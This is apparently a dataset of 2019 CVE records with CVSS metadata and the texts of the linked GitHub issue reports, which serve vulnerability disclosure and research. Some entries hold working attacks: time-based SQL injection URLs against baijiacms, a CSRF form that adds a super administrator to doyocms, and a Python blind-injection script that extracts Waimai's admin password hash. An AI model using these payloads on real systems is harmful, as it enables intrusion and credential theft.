http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(10)))v)/*'%2b(select(0)from(select(sleep(10)))v)%2b'%22%2b(select(0)from(select(sleep(10)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383 time delay Screenshot: https://i.loli.net/2019/01/08/5c344afbc5d7d.png Test with sqlmap: https://i.loli.net/2019/01/08/5c344b46484a1.png

Two Vulnerability of Time-based SQL injection

https://api.github.com/repos/baijiacms/baijiacmsV4/issues/2/comments

0

2019-01-08T07:03:58Z

https://github.com/baijiacms/baijiacmsV4/issues/2

396,775,196

2

151

CVE-2019-7569

2019-02-07T07:29:00.647

An issue was discovered in DOYO (aka doyocms) 2.3(20140425 update). There is a CSRF vulnerability that can add a super administrator account via admin.php?c=a_adminuser&a=add&run=1.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/millken/doyocms/issues/1" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/millken/doyocms/issues/1" } ]

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[ "352" ]

352

https://github.com/millken/doyocms/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "millken", "doyocms" ]

After the super administrator logged in, open the following page poc： one.html---add a super administrator ```<html>  <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/doyocms-master/admin.php?c=a_adminuser&a=add&run=1" method="POST"> <input type="hidden" name="auid" value="" /> <input type="hidden" name="auser" value="test2" /> <input type="hidden" name="apass" value="test2" /> <input type="hidden" name="gid" value="1" /> <input type="hidden" name="level" value="1" /> <input type="hidden" name="aname" value="" /> <input type="hidden" name="amail" value="" /> <input type="hidden" name="atel" value="" /> <input type="hidden" name="pclasstype[]" value="1" /> <input type="hidden" name="pclasstype[]" value="9" /> <input type="hidden" name="pclasstype[]" value="10" /> <input type="hidden" name="pclasstype[]" value="2" /> <input type="hidden" name="pclasstype[]" value="18" /> <input type="hidden" name="pclasstype[]" value="19" /> <input type="hidden" name="pclasstype[]" value="3" /> <input type="hidden" name="pclasstype[]" value="4" /> <input type="hidden" name="pclasstype[]" value="6" /> <input type="hidden" name="pclasstype[]" value="7" /> <input type="hidden" name="pclasstype[]" value="8" /> <input type="hidden" name="pclasstype[]" value="11" /> <input type="hidden" name="pclasstype[]" value="22" /> <input type="hidden" name="pclasstype[]" value="23" /> <input type="submit" value="Submit request" /> </form> </body> </html>```

There is a CSRF vulnerability that can add the super administrator account

https://api.github.com/repos/millken/doyocms/issues/1/comments

0

2019-01-17T13:42:28Z

https://github.com/millken/doyocms/issues/1

400,282,544

1

152

CVE-2019-7581

2019-02-07T18:29:00.193

The parseSWF_ACTIONRECORD function in util/parser.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure, a different vulnerability than CVE-2018-7876.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/173" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/173" } ]

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[ "770" ]

770

https://github.com/libming/libming/issues/173

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

version: master(**commit 50098023446a5412efcfbd40552821a8cba983a6**) command: **listswf $FILE** OS: **Ubuntu 16.04.4 LTS 64bit** ``` $ ./install-asan/bin/listswf poc>/dev/null header indicates a filesize of 808464488 but filesize is 430 Stream out of sync after parse of blocktype 24 (SWF_PROTECT). 33 but expecting 51. ==40038==WARNING: AddressSanitizer failed to allocate 0xfffffffffffcd800 bytes ==40038==AddressSanitizer's allocator is terminating the process instead of returning 0 ==40038==If you don't like this behavior set allocator_may_return_null=1 ==40038==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9ab5b8b631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9ab5b905e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9ab5b08425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9ab5b8e865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9ab5b0db4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9ab5b835d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x433465 in parseSWF_ACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:1142 #7 0x42d6de in parseSWF_CLIPACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:386 #8 0x42da81 in parseSWF_CLIPACTIONS /home/wdw/experiment/aflgo/libming/util/parser.c:408 #9 0x4443a3 in parseSWF_PLACEOBJECT2 /home/wdw/experiment/aflgo/libming/util/parser.c:2665 #10 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #11 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #12 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #13 0x7f9ab522282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_parser.c-1142)

Memory allocation failure in parseSWF_ACTIONRECORD (parser.c: 1142), different from #109

https://api.github.com/repos/libming/libming/issues/173/comments

2

2019-01-17T09:18:12Z

2019-03-09T02:21:40Z

https://github.com/libming/libming/issues/173

400,178,750

173

153

CVE-2019-7582

2019-02-07T18:29:00.240

The readBytes function in util/read.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/172" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/172" } ]

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[ "770" ]

770

https://github.com/libming/libming/issues/172

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

version: master(**commit 50098023446a5412efcfbd40552821a8cba983a6**) command: **listswf $FILE** OS: **Ubuntu 16.04.4 LTS 64bit** ``` $ ./install-asan/bin/listswf poc >/dev/null header indicates a filesize of 1995 but filesize is 1916 ==19625==WARNING: AddressSanitizer failed to allocate 0xfffffffffffffffe bytes ==19625==AddressSanitizer's allocator is terminating the process instead of returning 0 ==19625==If you don't like this behavior set allocator_may_return_null=1 ==19625==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9290d80631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9290d855e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9290cfd425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9290d83865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9290d02b4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9290d785d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x44dec2 in readBytes /home/wdw/experiment/aflgo/libming/util/read.c:252 #7 0x437290 in parseSWF_DEFINEBITSJPEG2 /home/wdw/experiment/aflgo/libming/util/parser.c:1493 #8 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #9 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #10 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #11 0x7f929041782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_read.c-252)

Memory allocation failure in readBytes (read.c:252)

https://api.github.com/repos/libming/libming/issues/172/comments

2

2019-01-17T09:17:38Z

2019-03-09T02:21:54Z

https://github.com/libming/libming/issues/172

400,178,531

172

154

CVE-2019-7585

2019-02-07T18:29:00.287

An issue was discovered in Waimai Super Cms 20150505. web/Lib/Action/PublicAction.class.php allows time-based SQL Injection via the param array parameter to the /index.php?m=public&a=checkemail URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/caokang/waimai/issues/11" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/caokang/waimai/issues/11" } ]

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[ "89" ]

89

https://github.com/caokang/waimai/issues/11

[ "Exploit", "Third Party Advisory" ]

github.com

[ "caokang", "waimai" ]

When registering a new account, it will verify that the email address is being used. **web/Lib/Action/PublicAction.class.php** ```php //邮箱重复验证 Public function checkemail(){ $Member=M('Members'); $data['useremail']=$_POST["param"]; $reuseremail=$Member->where($data)->select(); if(empty($reuseremail)) { echo '{ "info":"", "status":"y" }'; } else{ echo '{ "info":"该邮箱已注册，请更换其他邮箱！", "status":"n" }'; } } ``` We can bypass the SQL filter using this payload: ![](https://raw.githubusercontent.com/StefanoWen/img/master/img/20190117151753.png) The final SQL statement would be ```SQL SELECT * FROM `sn_members` WHERE ( (`useremail` and sleep(5)) ) ``` And here is the exp to obtain admin's password hash: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- import requests from string import ascii_letters, digits from time import time url = "http://127.0.0.1/waimai/index.php?m=public&a=checkemail" cnt = 0 userpass = '' for i in xrange(99): for j in ascii_letters + digits: data = {"param[0]": "exp", "param[1]": "and if ((select userpass from sn_members \ where username=0x61646d696e and userpass like BINARY '{}%'),sleep(2),1)" .format(userpass + j), "name": "useremail"} start_time = time() r = requests.post(url=url, data=data) if time() - start_time > 2: userpass = userpass + j print userpass cnt += 1 if cnt == i: break ```

A Time-based blind SQL Injection in email check

https://api.github.com/repos/caokang/waimai/issues/11/comments

0

2019-01-17T08:03:07Z

https://github.com/caokang/waimai/issues/11

400,153,630

11

155

CVE-2019-7648

2019-02-08T17:29:00.427

controller/fetchpwd.php and controller/doAction.php in Hotels_Server through 2018-11-05 rely on base64 in an attempt to protect password storage.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FantasticLBP/Hotels_Server/issues/2" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FantasticLBP/Hotels_Server/issues/2" } ]

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[ "326" ]

326

https://github.com/FantasticLBP/Hotels_Server/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "FantasticLBP", "Hotels_Server" ]

The application uses B64 encoding for storage of password Obscuring a password with a trivial encoding does not protect the password. ![capture](https://user-images.githubusercontent.com/6360103/51440959-53d5ae00-1d07-11e9-98b2-6a7cd6538dc9.PNG) https://cwe.mitre.org/data/definitions/261.html https://paragonie.com/blog/2015/08/you-wouldnt-base64-a-password-cryptography-decoded

Using of BASE64 Encoding for storage of password and retrieval of password

https://api.github.com/repos/FantasticLBP/Hotels_Server/issues/2/comments

1

2019-01-20T15:01:48Z

2025-02-28T07:04:54Z

https://github.com/FantasticLBP/Hotels_Server/issues/2

401,106,201

2

156

CVE-2019-7662

2019-02-09T16:29:00.250

An assertion failure was discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp in Binaryen 1.38.22. This allows remote attackers to cause a denial of service (failed assertion and crash) via a crafted wasm file.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.1, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1872" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1872" } ]

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[ "617" ]

617

https://github.com/WebAssembly/binaryen/issues/1872

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi there, Multiple Assertion failed were discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp Here are the POC files. Please use "./wasm-opt $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2763048/POC.zip) $git log ``` commit d24427dcc8cd6e0dbcd8c302eb2e8a5d0d6fdead Author: Alon Zakai <alonzakai@gmail.com> Date: Tue Jan 15 13:20:05 2019 -0800 Code style improvements (#1868) * Use modern T p = v; notation to initialize class fields * Use modern X() = default; notation for empty class constructors ``` The output was shown as follow: ``` wasm-opt: /binaryen/src/wasm/wasm-binary.cpp:849: wasm::Type wasm::WasmBinaryBuilder::getType(): Assertion `false' failed. Aborted Illegal instruction ``` The ASAN dumps the stack trace as follows: ``` #0 0x5e81a9 in __sanitizer_print_stack_trace /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_stack.cc:38 #1 0x9c0984 in wasm::WasmBinaryBuilder::getType() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:849:3 #2 0x9db431 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1793:18 #3 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #4 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #5 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #6 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #7 0x9cd93c in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #8 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #9 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #10 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #11 0x9c8636 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1838:3 #12 0x9ddd26 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1863:18 #13 0x9d2baf in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1680:38 #14 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #15 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #16 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #17 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #18 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #19 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #20 0x9cd93c in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #21 0x9def9f in wasm::WasmBinaryBuilder::visitLoop(wasm::Loop*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1884:3 #22 0x9d2abc in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1681:38 #23 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #24 0x9c8636 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1838:3 #25 0x99de66 in wasm::WasmBinaryBuilder::readFunctions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1121:20 #26 0x97ee40 in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:678:41 #27 0xa82dab in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #28 0xa855a9 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #29 0x627a77 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #30 0x7fc826a1d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #31 0x51c5a8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5a8) ```

Assertion failed were discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1872/comments

1

2019-01-16T07:22:23Z

2019-01-19T13:30:49Z

https://github.com/WebAssembly/binaryen/issues/1872

399,678,485

1,872

157

CVE-2019-7697

2019-02-10T22:29:00.327

An issue was discovered in Bento4 v1.5.1-627. There is an assertion failure in AP4_AtomListWriter::Action in Core/Ap4Atom.cpp, leading to a denial of service (program crash), as demonstrated by mp42hls.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/351" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/351" } ]

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[ "617" ]

617

https://github.com/axiomatic-systems/Bento4/issues/351

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

Hi there, Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom *) in Ap4Atom.cpp Here are the POC files. Please use "./mp42hls $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719232/POC.zip) The output were shown as follow: ``` Bento4/Source/C++/Core/Ap4Atom.cpp:759: virtual AP4_Result AP4_AtomListWriter::Action(AP4_Atom *) const: Assertion `bytes_written <= atom->GetSize()' failed. Aborted (core dumped) ```

Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom *) in Ap4Atom.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/351/comments

3

2019-01-01T09:47:39Z

2019-07-24T08:35:38Z

https://github.com/axiomatic-systems/Bento4/issues/351

395,069,674

351

158

CVE-2019-7698

2019-02-10T22:29:00.373

An issue was discovered in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Core/Ap4Array.h in Bento4 1.5.1-627. Crafted MP4 input triggers an attempt at excessive memory allocation, as demonstrated by mp42hls, a related issue to CVE-2018-20095.

